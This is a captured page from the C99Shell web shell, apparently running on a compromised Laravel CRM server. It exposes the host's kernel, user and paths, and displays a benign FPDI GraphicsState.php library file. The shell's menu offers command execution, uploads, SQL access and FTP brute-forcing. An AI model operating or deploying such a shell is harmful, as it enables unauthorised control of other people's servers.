!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/setasign/fpdi/src/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GraphicsState.php (1.93 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of FPDI
 *
 * @package   setasign\Fpdi
 * @copyright Copyright (c) 2024 Setasign GmbH & Co. KG (https://www.setasign.com)
 * @license   http://opensource.org/licenses/mit-license The MIT License
 */

namespace setasign\Fpdi;

use 
setasign\Fpdi\Math\Matrix;
use 
setasign\Fpdi\Math\Vector;

/**
 * A simple graphic state class which holds the current transformation matrix.
 */
class GraphicsState
{
    
/**
     * @var Matrix
     */
    
protected $ctm;

    
/**
     * @param Matrix|null $ctm
     */
    
public function __construct(?Matrix $ctm null)
    {
        if (
$ctm === null) {
            
$ctm = new Matrix();
        }

        
$this->ctm $ctm;
    }

    
/**
     * @param Matrix $matrix
     * @return $this
     */
    
public function add(Matrix $matrix)
    {
        
$this->ctm $matrix->multiply($this->ctm);
        return 
$this;
    }

    
/**
     * @param int|float $x
     * @param int|float $y
     * @param int|float $angle
     * @return $this
     */
    
public function rotate($x$y$angle)
    {
        if (
abs($angle) < 1e-5) {
            return  
$this;
        }

        
$angle deg2rad($angle);
        
$c cos($angle);
        
$s sin($angle);

        
$this->add(new Matrix($c$s, -$s$c$x$y));

        return 
$this->translate(-$x, -$y);
    }

    
/**
     * @param int|float $shiftX
     * @param int|float $shiftY
     * @return $this
     */
    
public function translate($shiftX$shiftY)
    {
        return 
$this->add(new Matrix(1001$shiftX$shiftY));
    }

    
/**
     * @param int|float $scaleX
     * @param int|float $scaleY
     * @return $this
     */
    
public function scale($scaleX$scaleY)
    {
        return 
$this->add(new Matrix($scaleX00$scaleY00));
    }

    
/**
     * @param Vector $vector
     * @return Vector
     */
    
public function toUserSpace(Vector $vector)
    {
        return 
$vector->multiplyWithMatrix($this->ctm);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--